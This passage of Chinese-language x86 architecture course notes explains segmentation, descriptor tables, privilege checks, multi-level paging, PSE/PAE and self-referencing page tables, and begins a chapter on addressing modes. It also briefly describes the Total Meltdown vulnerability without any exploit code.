- Selector (16位):段选择子(指向 GDT 表)。
- EA (32位):32位的偏移量。
-
Segmentation (分段):
- CPU 去查表(GDT),找到段基址,加上 EA。
- 生成一个完整的 32位 线性地址 (4GB 范围)。
-
Paging (分页):有。
- 这是关键区别。32位线性地址不会直接发给内存条,而是必须经过分页单元 (Paging)。
- 分页单元通过查页表(Page Tables),将虚拟的线性地址映射到任意的物理页框上。
线性地址 不等于 物理地址。OS 可以利用分页实现虚拟内存(Swap)、内存隔离等高级功能。
Virtual-8086 Mode (虚拟8086模式)
它的目的是在现代保护模式的 OS(如 Windows)里模拟古代的 DOS 环境。
-
输入:
- Selector (16位) & EA (16位):为了兼容老程序,输入看起来和实模式一样,都是 16 位的。
-
Segmentation (分段):
- 伪装成实模式:它不查表,而是像实模式一样直接计算
Selector * 16 + Offset。 - 生成的线性地址被限制在 20位 (1MB) 以内,让 DOS 程序以为自己还在老机器上。
- 伪装成实模式:它不查表,而是像实模式一样直接计算
-
Paging (分页):
- 虽然前面的分段在模拟老机器,但底层的分页机制依然是开启的。
- 这能让现代操作系统(OS)控制这 1MB 的空间。OS 可以通过分页,把这 1MB 的虚拟空间映射到物理内存的任何角落,或者同时运行多个 DOS 窗口而互不干扰。
-
逻辑上像实模式(1MB限制),物理上受保护模式管理(有分页)。
Summary
| 模式 | 地址计算 (分段) | 是否经过分页? | 最终物理地址 |
|---|---|---|---|
| 实模式 | 段*16 + 偏移 |
无 | 直接等于线性地址 |
| 保护模式 | 查表基址 + 偏移 |
有 | 由页表映射 |
| 虚拟8086 | 段*16 + 偏移 (模拟) |
有 | 由页表映射 (为了虚拟化) |
Long-Mode Memory Management¶
64-Bit Mode (纯 64 位模式)
这是 64 位程序运行时的状态。分段(Segmentation)消失了:
-
原因:在 64 位模式下,为了简化硬件设计和提高效率,Intel/AMD 强行规定实施 “平坦内存模型 (Flat Memory Model)”。CPU 强制把几乎所有的段基址(Segment Base)都设为 0。因此,程序眼中的逻辑地址(Effective Address)直接就等于线性地址(Linear Address)。
-
流程:
- 输入:直接是一个64位 虚拟地址。跳过分段,直接送入 Paging (分页) 单元。
- 输出:转换为 52位 的物理地址(Physical Address)。
Compatibility Mode (兼容模式)
这是在 64 位 Windows 上运行 32 位程序时的状态。也就是:假装自己是 32 位。它的上半部分看起来和上一张图里的“保护模式”一模一样。
- 流程:
- 输入:老式的 16位 Selector + 32位 Effective Address。
- Segmentation (分段):有。为了兼容老程序,CPU 依然会执行分段计算(基址 + 偏移),生成一个 32位 的线性地址。
- 高位清零:32 位程序生成的地址只能位于 64 位地址空间的“最底部” 4GB 范围内。
- Paging (分页):共用 64 位分页机制。
- 虽然程序以为自己在跑 32 位,但底层的分页机构是现代的(PAE 模式),所以操作系统依然可以用高级特性管理内存。
默认段寄存器与偏移寄存器¶
- 微处理器在访问内存时对于段的使用有一定的规则 —— 这些规则决定了段寄存器与偏移寄存器的组合方式。
- 代码段寄存器(CS)用于确定代码段的起始位置。
- 指令指针(IP/EIP/RIP)定位代码段中下一条将被执行的指令。
- 另一种默认组合是用于栈的访问。栈中的数据通过栈段寄存器(SS)与栈指针(SP/ESP)或基址指针(BP/EBP)对应的地址来引用。
- 下图展示了一个包含四个内存段的系统。如果某个段实际需要的空间不足64KB,不同的内存段可能会相互重叠或接触。你可以把“段”想像成可以在内存中任意移动的“窗口”,用以访问特定的数据或代码。一个程序可以拥有多于四个甚至六个段,但同一时刻只能访问其中四个或六个段。
relocation
段与偏移寻址方式支持重定位.可重定位程序(relocatable program)是指可以被放置在内存的任何位置,无需修改即可直接执行。可重定位数据(relocatable data)是指可以被放置在内存的任何位置,程序无需修改即可直接使用这些数据。
由于内存是通过段内的偏移地址来访问的,因此内存段可以在不改变任何偏移地址的前提下,移动到内存系统中的任意位置。
- 操作系统可以在运行时分配段的实际地址。
- Windows 程序通常假定前 2GB 的内存空间可用于代码和数据。
Address Wrapping problem
在早期的 Intel 8086/8088/80186 CPU 上,由于只有 20 根地址线,内存寻址空间最大只有 1MB(\(2^{20}\) = 1048576 字节)。如果段+偏移(seg:off)的线性地址超出了 1MB,就会自动回绕(wrap-around)到 0 位置。
这种“地址回绕”现象,也被称为“1MB Wrap-around”或“address wrap-around”。而从 80286(有 24 位地址线)及之后的 CPU,这一行为被取消。
例如:
| 逻辑地址 | 线性地址 | 物理地址 |
|---|---|---|
| 0xFFFF:0xFFFF | 0x10FFEF | 0x0FFEF |
| 0xF800:0x8000 | 0x100000 | 0x00000 |
上表中,当线性地址大于 20 位最大值(0xFFFFF)时,高位会被丢弃(wrap around),回到 0 开始。
很多早期的商业软件和系统(如 DOS、BIOS)都依赖了回绕行为,例如通过溢出“直接跳转”到 0:xxxx 段实现功能。升级到更现代的 CPU(无 wrap-around)时,这些老程序可能会失效。
Segmentation¶
Selectors and Descriptors¶
保护模式下段寄存器中存放的不是直接的段地址,而是一个选择子(selector),它用于从描述符表中选取一个描述符(descriptor)。描述符记录了内存段的位置、长度和访问权限等信息。
Selector(选择子)存放在段寄存器中,用于在描述符表中定位相应的描述符。描述符中记录了内存段的基址、界限和访问权限等信息。选择子可用于从两个描述符表(GDT或LDT)中的8192个描述符中选择其中之一。
描述符(Descriptor)为处理器提供了有关内存段的信息,如该段的位置、大小以及权限级别等。
有一种特殊类型的描述符,称为“门(Gate)”,它用于为某个软件例程提供代码选择子和入口地址。
Descriptor Tables¶
描述符表(Descriptor tables)用于存放各种描述符(Descriptor):
- 全局描述符表(GDT, Global Descriptor Table):保存可供所有程序访问的描述符(必需)。
- 局部描述符表(LDT, Local Descriptor Table):仅保存某个特定程序所用的描述符(可选)。
- 中断描述符表(IDT, Interrupt Descriptor Table):只保存门描述符(Gate Descriptor)(必需)。
全局与局部描述符¶
- 全局描述符中包含适用于所有程序的段定义信息。
- 局部描述符通常针对每个应用程序独有。
- 有时全局描述符也称为系统描述符,局部描述符称为应用描述符。
- 全局描述符是必须的,而局部描述符则是可选的。
Null Descriptor(空描述符)¶
- 全局描述符表(GDT)的第一个条目为“空描述符”(null descriptor),其全部内容为0,且不能用于访问内存。
- 空描述符主要用于废弃(失效)未被使用的段寄存器。通过将未用的段寄存器初始化为空选择子(null selector),软件就可以捕获对这些未用段的非法访问。
- 将空描述符加载到数据段寄存器(DS、ES、FS、GS)时不会产生异常,但如果用其访问内存则一定引发通用保护异常(#GP)。
Null Descriptor 使用示例
以下示例展示了如何使用空描述符来废弃未使用的段寄存器:
; 假设 GDT 的第一个条目(索引 0)是空描述符
; 空选择子的值为 0(TI=0, RPL=0, Index=0)
; 1. 将空选择子加载到 ES 寄存器(不会产生异常)
MOV AX, 0 ; 空选择子 = 0
MOV ES, AX ; 加载空选择子到 ES,不会触发异常
; 2. 尝试使用空描述符访问内存(会触发 #GP 异常)
MOV AL, ES:[0x1000] ; 通用保护异常(#GP)
; 因为 ES 指向空描述符,CPU 检测到非法内存访问
; 3. 正确做法:先加载有效的段选择子
MOV AX, 0x08 ; 假设这是有效的数据段选择子(索引 1,RPL=0)
MOV ES, AX ; 加载有效选择子
MOV AL, ES:[0x1000] ; 正常访问,不会触发异常
在这个例子中: - 空选择子(值为 0)可以安全地加载到段寄存器中,用于"清空"或废弃该段寄存器。 - 一旦尝试使用空描述符进行内存访问,CPU 会立即检测到并触发通用保护异常(#GP),从而防止非法访问。
- 在64位模式下,空选择子还可用作指示存在嵌套中断处理程序或特权软件的标志。
描述符的结构及表容量¶
- 下图展示了从80286到Core2处理器的描述符格式。
- 每个描述符占8字节(8 bytes)。
- 全局描述符表(GDT)和局部描述符表(LDT)最大长度为64KB。
- GDT 和 LDT 最多可容纳 8192 个条目。
各个字段的含义
描述符的基址(Base Address)
- 基址用于指示该段在内存中的起始位置。
- 在保护模式下,段的起始地址不再需要对齐到传统的段落(paragraph)边界,段可以从任意物理地址开始。
段限长字段(Segment Limit Field)
- 段限长表示该段允许访问的最大偏移量,即段内最后一个有效字节的偏移。
- 描述符中包含两个部分用于表示段限长:低16位和高4位,共组成20位的段限长。
- 限长字段的实际意义受到**粒度位(Granularity, G)**的影响,G位决定了段限长的单位。
粒度位(G,Granularity)
- G位决定段限长的计量方式。
- G=0 时,段限长单位为字节(byte)。
- G=1 时,段限长单位为4KB(4096字节)。
- 段的最大长度:
- G=0 时,最大段长度为 (limit + 1) 字节,范围为 0 至 0xFFFFF(1MB - 1)。
- G=1 时,最大段长度为 (limit + 1) × 4KB,范围为 0xFFF(4KB - 1)到 0xFFFFFFFF(4GB - 1)。
- 这里加1是因为段限长是表示最后一个有效字节的偏移量。
段限长的作用
- 如果访问的偏移量超出了段限长,处理器将产生通用保护异常(#GP)以防止非法内存访问。
Problem
Problem1: In protected mode, how many processes can theoretically run on a single x86 core?
- 在保护模式下,x86 使用描述符(即 GDT 和 LDT 中的表项)来管理对内存段的访问。
- 每个进程至少需要一个代码段和一个数据段,也就是需要两个 GDT 表项。
- GDT 总容量为 64K 字节,每个描述符占 8 字节。
- 64K ÷ 8 ÷ 2 = 4K = 最多支持 4096 个进程
Problem2: Given a segment descriptor with the following attributes:
- Base address: 10000000H
- Limit: 001FFH
- Granularity (G): 0 (limit is in bytes)
Calculate the starting and ending addresses of this segment:
- Starting address: 10000000H
- Ending address: 10000000H + 001FFH = 100001FFH
粒度为字节,直接加上即可
Problem3: For a descriptor with a base address of 10000000H, a limit of 001FFH, and G=1, what is the starting and ending locations?
- If G = 1, ending = starting + (segment size-1), where the segment size = (limit+1) x 4K bytes
- (limit+1) x 4K – 1 = (limit)000H + (4K – 1) = (limit)FFF H
- Limit is appended with FFFH to determine the ending address, namely ending = starting + (limit)FFF H
- For Problem 3 (limit = 001FFH, G = 1):
- starting location: 10000000H
- ending location: 10000000H + 001FFFFFH= 101FFFFFH
Note
Problem 3 实际上推导了一个公式,当G=1时,段结束地址 = 段起始地址 + (段限长)FFF H
Access Rights¶
访问权限字节(Access Rights Byte)用于控制对保护模式下段的访问。
- 它描述了该段在系统中的功能,并允许对该段进行完全的访问控制。
- 如果该段为数据段,还可以指定其增长方向。
- 如果段的访问超出了设定的段限长,操作系统将会被中断,并产生通用保护异常(General Protection Fault)。
-
可以指定数据段是否允许写入,或是为只读保护段。
-
S 和 Type 字段共同决定描述符的类型及其访问属性。
- S = 0 表示系统段,S = 1 表示代码段或数据段。
- DPL 字段表示段的描述符特权级,数值越小权限越高。0 表示最高权限,3 表示最低权限。
通过selector访问段
执行指令 MOV [BX], AX: 将寄存器 AX 中的数据移动到内存地址 [BX] 指向的位置。
* 在 x86 架构中,访问数据通常默认使用 DS (Data Segment, 数据段寄存器)
-
DS (Selector): 在保护模式下,段寄存器(如 DS)中存储的不再是实际的内存段地址(实模式下是这样),而是一个选择子。CPU 使用 DS 中的“选择子”去查找后续的信息。
-
程序执行指令,需要访问数据段(DS)。
- CPU 读取 DS 寄存器,拿到段选择子。
- CPU 根据选择子,在描述符表中找到对应的描述符。
- CPU 读取描述符中的 Base (基址)。
- 这个 Base + 偏移量 (指令中的
BX) = 实际的线性地址。 - 数据被写入到右侧线性地址空间对应的 Segment 区域中。
Selector¶
描述符是通过段选择子从描述符表中选取的。
- 段选择子包括一个13位的索引字段(\(2^{13}=8192\))、一个表指示位(TI),以及一个请求特权级字段(RPL)。
- TI位用于选择全局描述符表(GDT)或本地描述符表(LDT)。
- 请求特权级(RPL)用于指定访问内存段时请求的特权级。
Three types of privilege levels
- Descriptor Privilege Level (DPL): 由操作系统分配给每个段,表示该段的权限级别。在描述符中指定。
- Requestor Privilege Level (RPL): 位于段选择子的最低2位,用于表示请求该段的程序的权限级别(通常由创建选择子的代码决定)。在段选择子中指定。
- Current Privilege Level (CPL): 当前CPU的权限级别,等于CS寄存器中隐含的2位字段,由CPU自动维护。在Code Segment Selector 中指定。
在进行访问时,首先根据取\(Max(CPL,RPL)\),得到当前访问级别,然后根据该级别与DPL进行比较,如果\(DPL \geqslant Max(CPL,RPL)\),则可以访问该段,否则不能访问该段。
Example
- 当前有效权限级别为3,低于DPL级别2,不可以访问该段。
- 当前有效权限级别为0,高于DPL级别2,可以访问该段。
访问数据段时,只要权限够高就可以访问,但是访问栈段必须严格相等
- 级别相等,可以访问该段。
- CPL和RPL不相等,拒绝访问
Program-Invisible Registers¶
- 三种描述符表:GDT(全局描述符表)、LDT(局部描述符表)、IDT(中断描述符表)
- 四种程序不可见的寄存器(Program-Invisible Registers):GDTR 和 IDTR:保存 GDT 和 IDT 的地址;在进入保护模式前加载。LDTR 和 TR:引用 GDT 中的特殊系统描述符(例如,LDTR 用作指向 GDT 的选择子)。其他不可见寄存器:作为描述符缓存使用。
- GDTR(全局描述符表寄存器)和 IDTR(中断描述符表寄存器)包含描述符表的基址和界限。当需要进入保护模式时,会将全局描述符表的地址和界限加载到 GDTR 中。
- 局部描述符表的位置由全局描述符表中的条目指定。GDT 中的某个描述符被设置为指向 LDT。
- 访问局部描述符表时,需要将 LDTR(局部描述符表寄存器)加载为一个选择子。该选择子用于访问 GDT,并将 LDT 的地址、界限和访问权限信息加载到 LDTR 的缓存部分。
- TR(任务寄存器)保存一个选择子,用于访问定义任务的描述符。任务通常是一个过程或应用程序。这样允许多任务系统能够简单、有序地切换到另一个任务。
这张图展示了在保护模式下,从logical address到linear address的转换过程。首先根据TI位选择GDT或LDT,然后根据索引字段选择对应的条目,这里×8是因为一个描述符占8字节。然后根据Base和offset相加得到linear address
更详细地说,当读取DS寄存器得到selector时,通过TI来判断是全局描述符表还是局部描述符表:
-
TI=0,选择GDT,从GDTR中读取GDT的地址,然后根据索引字段选择对应的条目
-
TI=1,选择LDT,读取LDTR和GDTR,此时LDTR被作为选择子,指向GDT中的一个描述符,该描述符存储了LDT的地址,然后根据索引字段选择对应的条目
切换任务时,LDTR的值会被改变,这就实现了任务空间的扩展,通过GDT来管理LDT,不同的任务,LDTR的值不同,从而实现任务的切换。
保护模式下的分段内存模型
- 系统软件可以利用分段机制来实现两种基本的内存分段模型:多段模型(multi-segmented model)和平坦内存模型(flat-memory model)。
- 多段模型将内存划分为不同的段,如代码段、数据段和栈段。每个段都可以独立访问。
- 平坦内存模型则是一种线性寻址模式。代码、数据和栈都被包含在单一的、连续的地址空间中,CPU可以直接访问全部可用的内存位置。
Paging¶
区分不同的地址
有效地址(Effective Addresses)
- 有效地址(也称为近指针,near pointers):指的是某个内存段内的偏移量。
- 有效地址的计算公式为:
- 基址(Base):存储在寄存器中的数值。
- 缩放系数(Scale):可取值为 1、2、4 或 8。
- 索引(Index):存储在寄存器中的数值。
- 位移量(Displacement):指令编码中直接给出的数值。
逻辑地址(Logical Addresses)
- 逻辑地址(也称为远指针,far pointers):指的是在分段地址空间中的一个引用。它由段选择子和有效地址构成。
- 逻辑地址的表示形式为:
线性地址(Linear Addresses)
- 线性地址(也称为虚拟地址,virtual addresses):通过段基址和有效地址(段内偏移)相加得到。
- 线性地址的表示公式为:
- 当采用平坦内存模型(如 64 位模式)时,段基址被视为 0,此时线性地址即等于有效地址。
物理地址(Physical Addresses)
- 物理地址:CPU 在总线上访问的内存称为物理内存。
- 物理内存被组织为一串 8 位字节。每个字节都有唯一的物理地址。
- 内存分页机制允许任意物理内存位置被分配给任意的线性地址。
Multiple-Level Paging¶
使用多级页表可以节省空间的原理在于,不需要为所有线性地址都分配一个页表项,而是可以根据需要分配。而不是说分级可以节省空间,相反,如果每一级页表都满了,反而需要的空间比单级页表还要大。
多级分页的优缺点
- 优点:适合内存空间利用稀疏的应用程序。
- 单级分页:必须为每一个虚拟地址都分配一个页表项(数量巨大)。
- 多级分页:只需要为实际使用到的页目录项分配空间(总体页表项更少)。
- 缺点:多级分页会增加访问内存的时间开销。每次分页查找时需要多一次或多次访问内存才能完成页面表的遍历。
Example
某系统采用多级分页机制,页面大小为 4KB,物理内存为 16TB,虚拟地址长度为 32 位,页表项(PTE)大小为 4 字节。
需要多少级页表?画出虚拟地址和物理地址的划分。
- 虚拟地址:32 位
- 物理地址:44 位(16 TB = \(2^{44}\) 字节)
- 页面大小:4 KB (\(2^{12}\) 字节)
-
页表项大小:4 字节
-
页内偏移:4KB = \(2^{12}\) 字节 \(\Rightarrow\) 偏移用 12 位
- 每页页表可容纳 \(4\text{KB} \div 4\text{B} = 1024 = 2^{10}\) 个页表项
- 虚拟页号位数:32 - 12 = 20 位(这 20 位用于查页表)
- 每级页表用 10 位索引 \(\Rightarrow\) 总页表级数为 \(20\div10=2\)
- 需 2 级页表
地址划分示意:
- 需要 2 级页表
- 虚拟地址格式:\([10|10|12]\)
why 4KB page size?
影响分页大小的因素有: - 以2的幂为页大小:有利于硬件实现与性能提升 - 较小的页大小:内部碎片更少,有助于性能提升(比如写时复制 copy-on-write) - 较大的页大小:页表数量更少,缺页异常更少,TLB未命中次数减少 - 实践和理论均表明,页大小在\(2^7\)\(2^{14}\)(128B16KB)区间表现最优。 - Intel 很可能在上世纪80年代(80386时代)发现4KB页大小对当时主流应用具有最佳平均性能。
Page Protection¶
页保护检查(Page-Protection Checks)
- 当虚拟地址被转换为物理地址时,处理器会执行访问保护检查。
- 处理器会检查页面级的保护位,以判断当前访问是否合法。
- 如果违反了页级保护规则,则会触发**页错误异常**(page-fault exception)。
对于同一页,其页目录项(PDE,Page-Directory Entry)和页表项(PTE,Page-Table Entry)中的保护属性可能不同。 处理器会对页目录项和页表项中的保护位做“按位与”运算,得到最终的物理页保护属性。
Paging Registers¶
分页单元由微处理器的控制寄存器内容来控制。从奔腾(Pentium)处理器开始,新增了名为 CR4 的控制寄存器,用于扩展基本架构的功能。有关控制寄存器 CR0 到 CR4 的内容,请参见下图。
| 寄存器 | 名称 | 作用 |
|---|---|---|
| CR0 | Control Register 0 | 模式开关 (保护模式 PE、分页 PG) |
| CR1 | Reserved | 保留 |
| CR2 | Page Fault Linear Address | 存放出错地址 (发生页错误时) |
| CR3 | Page Directory Base | 页目录基址 (指向页表结构根部) |
| CR4 | Control Register 4 | 高级特性开关 (PAE, PSE 等) |
- 每当发生页错误异常(page-fault exception)时,CPU 会将产生该异常的线性地址(linear address)保存到 CR2 寄存器中。
-
页错误处理程序(page-fault handler)可以使用这个地址定位对应的页目录和页表项。
-
#PF(Page Fault)异常在内存访问时,可能在以下情况发生:
- 用于地址转换的页表项或物理页没有在内存中(即 present/absent)。
- 内存访问未通过分页保护检查(如用户/特权级、读/写权限等)。
-
如果在处理一个页错误时又发生了新的页错误,后一个页错误对应的线性地址会覆盖 CR2 中原有的地址(即 CR2 只保存最近一次异常的地址)。
-
对于32位线性地址,有两种地址转换模型:
- 两级分页:10-10-12 模型
- 三级分页:2-9-9-12 模型
Extensions of Paging Model¶
分页模型的扩展
分页模型有两个主要扩展: - 页面大小扩展(PSE,Page Size Extensions):允许将线性地址映射为 4MB 大小的物理页。 - 物理地址扩展(PAE,Physical Address Extensions):支持访问超过 4GB 的物理地址空间(采用 2-9-9-12 分段模型)。
启用页面大小扩展(PSE)
- 是否启用 PSE 取决于 CR4 控制寄存器中的 PSE 位和页目录项(PDE)的 PS 标志位(第7位):
- 当 CR4.PSE = 1 且 PDE.PS = 1 时,该 PDE 直接映射 4MB 大小的页。
- 当 CR4.PSE = 1 且 PDE.PS = 0 时,PDE 仍然采用 4KB 页的映射方式。
Mixing 4KB and 4MB pages
4MB 物理页可以与标准的 4KB 物理页混合使用,也可以完全替代它们。 - 超大页(4MB)可用于内核代码。 - 常规页(4KB)适用于普通软件。
通过设置CR4.PSE,并利用页目录项中的一个标志位PS,CPU 可以灵活决定某一块内存是4KB还是4MB。
- 只有当操作系统把 CR4 寄存器的 PSE (Page Size Extension) 位设为 1 时,CPU 才会去检查页目录项里的 PS 位。否则,所有页面都默认是 4KB。
一切从 CR3 指向的页目录表 (Page Directory)开始。CPU 拿着线性地址的前 10 位找到一个页目录项 (PDE)。
此时,CPU 会检查这个 PDE 里的 PS (Page Size) 位:
-
如果 PDE.PS = 0:
- 表示这是普通的 4KB 页面。
- CPU 认为这个 PDE 指向的是一个二级页表 (Page Table),于是它继续去查二级页表,最终找到 4KB 的物理页。
- 线性地址被拆分为 10位(目录) + 10位(页表) + 12位(偏移)。
-
如果 PDE.PS = 1:
- 表示这是一个 4MB 的大页面。
- CPU 认为这个 PDE 直接指向一个 4MB 的物理大页面的起始地址。不需要再去查二级页表了(少查一次表,速度更快)。
- 线性地址被拆分为 10位(目录) + 22位(偏移)。
PAE¶
物理地址扩展(PAE,Physical Address Extensions)
- PAE(页面地址扩展)允许32位应用程序访问超过4GB的物理内存空间。
- 当CR4寄存器的PAE位(CR4.PAE)被置为1时,PAE被启用。
- PAE特性:
- 允许最多访问64GB(2^36字节)的物理内存。
- 仅用于操作系统管理更多的物理内存,应用程序看到的线性地址空间仍然是32位。
- 支持4KB和2MB页面(不再支持4MB页面)。
PAE 允许虚拟地址被转换为最长达 36 位的物理地址。这是通过将分页数据结构中的每个表项从 4 字节扩展为 8 字节实现的,以便能够存放更长的物理页基地址。
PAE paging:2-9-9-12 model
在 2-9-9-12 模型中,内存分页采用了三级分页结构。
- 每个页表项扩展为 8 字节。
- 页目录和页表仍然保持每表4KB大小
- 其表项数量减半为512个
- 用9位(而非10位)进行索引
- 新增了一项:页目录指针表(PDPT,Page Directory Pointer Table)
- 用线性地址的 [31:30] 位进行索引
- 每个表项指向一个页目录
- CR3 寄存器保存页目录指针表的基地址(高20位是物理地址高位,低12位屏蔽即可)
可以得到2MB的大page
大页(2MB 或 4MB)的选择取决于 CR4.PSE 和 CR4.PAE 这两个位的取值,具体如下:
- 在启用 PAE 分页(CR4.PAE=1)时,PAE 会自动使用页大小位(PS),此时 CR4.PSE 的值被忽略,仅支持 2MB 的大页。
- 如果物理地址扩展被禁用(CR4.PAE=0)并且 CR4.PSE=1,则支持的最大物理页面为 4MB。
- 如果 CR4.PAE=0 且 CR4.PSE=0,则仅支持 4KB 页面。
MMU¶
内存管理单元(MMU, Memory Management Unit)是一种硬件单元,用于将虚拟地址转换为物理地址。
- 当发生 TLB 未命中(TLB miss)时,MMU 会通过硬件状态机遍历页表,实现地址转换。
TLB(Translation Lookaside Buffer)是MMU中的一个缓存,用于存储最近使用的页表项。
TLB的作用是加速虚拟地址到物理地址的转换;而 CPU Cache 是用于降低对主存的访问延迟。
Self-referencing Entries¶
在开启分页机制后,CPU 访问的每一个地址都是虚拟地址。 操作系统 (OS) 经常需要修改页表(例如:为新程序分配内存、处理缺页中断)。但是,页表本身存储在物理内存中。OS 只有虚拟地址,不能直接通过物理地址去写页表。如果不建立映射,OS 甚至无法“看到”或者“修改”页表本身。为了解决这个问题,OS 可以在页目录表 (Page Directory, PD) 中预留一项,让它指向自己。
- 正常情况:CR3->页目录 (PD)->页表 (PT)->物理页 (Data)。
- 我们在页目录 (PD) 中选一个特殊的索引(比如 0x300),让这个 PDE (页目录项) 指向 CR3 所在的物理地址,也就是指向 PD 自己。
这就创造了一个“回环”:
- 当 CPU 访问这个入口时,它以为自己在找下一级页表,但实际上它又回到了页目录。
举例来说,Windows 32位系统常用页目录的第 0x300 项作为自引用条目(self-referencing entry),该条目指向页目录自身。
给定一个虚拟地址 VA,可以通过如下方式快速获得该地址对应的 PDE(页目录项)和 PTE(页表项)所在的虚拟地址:
0xc0000000 的高10位是1100 0000 00 = 11 0000 0000 = 0x300
- GetPteVaAddress(va):
0xc0000000 | ((va >> 12) << 2)
右移十二位,此时低10位是pte的索引,然后左移二位,得到pte的虚拟地址
- GetPdeVaAddress(va):
0xc0300000 | ((va >> 22) << 2)
右移二十二位,此时低10位是pde的索引,然后左移二位,得到pde的虚拟地址
GetPte¶
假设我们要修改虚拟地址 0xe4321000 对应的映射关系(即修改它的 PTE)。我们需要构造一个特殊的虚拟地址来“找到”这个 PTE。
- 目标地址 (VA):
0xe4321000 - PD 索引 (Dir):
0x390 -
PT 索引 (Page):
0x321 -
构造的访问地址:
0xc0390c84
它的结构是这样拼出来的:
-
高 10 位 (PD Index) =
0x300,告诉 CPU,“第一跳”去查 PD 的第 768 项。因为该项指向 PD 自己,所以 CPU 还在 PD 里打转。CPU 此时会误以为 PD 就是个“页表”。 -
中 10 位 (PT Index) =
0x390,CPU 在“假装是页表”的 PD 里查找第0x390项。这一项原本指向的是目标的 页表 (PT)。于是,CPU 终于跳到了真正的目标页表上。 -
低 12 位 (Offset) =
0x321 * 4=0xC84,在目标页表中,找到第0x321个条目。这正是我们要找的 PTE
GetPde¶
一样的过程,只不过是回环两次
Total meltdown
Total Meltdown (CVE-2018-1038) 是微软为了修复原本的“熔断”(Meltdown)漏洞时,不慎引入的一个极其严重的软件补丁错误。
- 2018 年初,著名的 CPU 漏洞 Meltdown (熔断) 爆发,影响了全球绝大多数 Intel 处理器。微软紧急发布了补丁来修复 Windows 系统。
- 在为 Windows 7 (x64) 和 Windows Server 2008 R2 (x64) 发布的补丁中,微软犯了一个低级错误。补丁无意中将负责管理内存映射的关键表(PML4 表)的权限位从“仅内核访问(Supervisor)”设置成了“用户可访问(User)”。
它允许任何普通用户程序不仅能读取,还能写入系统的内核内存。这意味着攻击者可以随意篡改系统数据。
Mixing Segmentation and Paging¶
通过分段的方式得到线性地址,此时线性地址就是虚拟地址,然后通过分页的方式得到物理地址(x86的实现)
与os介绍的seg+paging区分
在这种做法中,通过分段来分离不同页表,段表中存的是页表的基地址,(理论上的实现,os 课程中介绍)
Chapter 3: Addressing Modes¶
约 7889 个字 87 行代码 24 张图片 预计阅读时间 28 分钟
Operation Mode
- Address Size: 地址线的长度,决定了寻址范围
- Operand Size: 操作数的大小
有三种运行模式,每种模式下地址长度和操作数长度有如下默认值:
- 16位模式(实模式、vm86、保护模式):默认地址和操作数长度为16位
- 32位保护模式:默认地址和操作数长度为32位
- 64位模式:默认地址长度为64位,默认操作数长度为32位
例如:MOV EAX, [RBX]
- 操作数长度为32位,因为目标寄存器
EAX是32位寄存器,因此从内存中读取32位数据存入EAX。 - 地址长度为64位,因为寻址用的
RBX是64位寄存器。在64位模式下,默认使用64位地址,因此用RBX的64位值作为内存地址。
Definition
寻址方式(Addressing modes)是指定操作数地址的一种技术。
寻址方式的分类:
-
数据寻址方式(Data-Addressing Modes) 这种方式与数据传送操作相关。数据要么从内存传送到寄存器,要么在寄存器之间转移,例如:MOV AX, DX。
-
堆栈寻址方式(Stack Memory-Addressing Modes) 这种方式涉及堆栈寄存器操作,例如:PUSH AX。
-
程序寻址方式(Program Memory-Addressing Modes) 这类寻址方式用于分支类指令,如JMP或CALL等。
Data-Addressing Modes¶
MOV 指令是一种常用且灵活的指令。它为解释数据寻址方式提供了基础。
- 在
MOV指令中,源操作数位于右侧,目的操作数位于左侧,紧跟在操作码(MOV)后面。 - 操作码(
opcode,操作码)用于告诉微处理器执行哪种操作。
在汇编语言程序中,每一条语句一般由四个部分(字段)组成:
- 最左边的字段称为 标签(label)。
- 用于为该语句或内存地址提供一个符号名称。
- 所有标签必须以字母或以下特殊字符之一开头:@、\(、-、?。例如:begin、data\)、here@ 等。
- 标签的长度可以是1到35个字符不等。
-
标签在程序中用于标识某个存储数据的内存位置等用途。
-
标签右侧的字段是 **操作码(opcode)**字段。
- 这个字段专门用于存放指令本身,也就是操作码。
- 例如,数据传送指令中的 MOV 就是操作码的一个例子。
-
操作码字段右侧是 **操作数(operand)**字段。
- 该字段包含操作码所需的信息。
- 例如指令 MOV AL, BL,其中操作码为 MOV,操作数为 AL 和 BL。
-
最后一个字段是 **注释(comment)**字段。
- 该字段包含对该指令的注释说明。
- 注释总是以分号(;)开头。
有三种基本类型的操作数:立即数(immediate)、寄存器(register)和内存(memory)。
- 立即数操作数是作为指令一部分进行编码的常量值。只有源操作数(Source operands)可以指定立即数。
- 寄存器操作数位于通用寄存器或SIMD寄存器中。
- 内存操作数用于指定内存中的某个地址。
下图展示了使用 MOV 指令时所有可用的数据寻址方式的变体。
这些数据寻址方式在所有英特尔微处理器中都存在,但 **比例变址寻址方式(scaled-index-addressing mode)**仅存在于80386到Core2系列。
RIP相对寻址方式未被包含在图中,它只在 Pentium 4 及 Core2 的 64 位模式下可用。
Register Addressing¶
这种寻址方式是数据寻址中最常用、也最容易掌握的方式。只要熟悉寄存器命名即可,非常直接。
- 微处理器支持的 8 位寄存器有:
AH,AL,BH,BL,CH,CL,DH,DL - 16 位寄存器有:
AX,BX,CX,DX,SP,BP,SI,DI - 80386 及以上的 32 位寄存器有:
EAX,EBX,ECX,EDX,ESP,EBP,EDI,ESI - 64 位模式下的寄存器有:
RAX,RBX,RCX,RDX,RSP,RBP,RDI,RSI以及R8~R15
操作数宽度需一致
指令中各寄存器操作数的位宽必须一致,不允许混用不同宽度的寄存器。例如不能将 8 位、16 位、32 位及 64 位寄存器混用。
错误示例(操作数类型不匹配):
这类写法会导致编译错误。
The effect of executing the
MOV BX, CXinstruction at the point just before theBXregister changes. Note that only the rightmost 16 bits of registerEBXchange.
- 源寄存器(
CX)的内容不会改变。 - 目标寄存器(
BX)的内容会被修改,即BX接收CX的值。 - 除 CMP 和 TEST 外,大多数指令都会改变目标寄存器或目标内存单元的内容。
- 需要注意的是,
MOV BX, CX只影响EBX的低 16 位(BX 部分),不会改变 EBX 的高 16 位。
Immediate Addressing¶
在汇编语言中,“立即数(immediate)”指的是紧跟在机器指令(操作码)之后、作为指令一部分直接编码的数据。
- 立即数是常量(constant data),与寄存器或内存中的变量数据(variable data)相对。
- 立即数寻址方式可以操作一个字节(byte)或一个字(word,也即16位,或更高位数)。
图中展示了指令 MOV EAX, 13456H 的执行过程:指令将立即数 13456H(十六进制数)直接加载到寄存器 EAX 中。
与寄存器间传送类似,源数据(立即数)会覆盖目标寄存器的原数据。
立即数的写法与表示
- 在某些汇编器(assembler)中,立即数前可以加前缀
#来标识,例如: -
但大多数现代汇编器(如 MASM)直接写成:
我们采用不带#的写法。 -
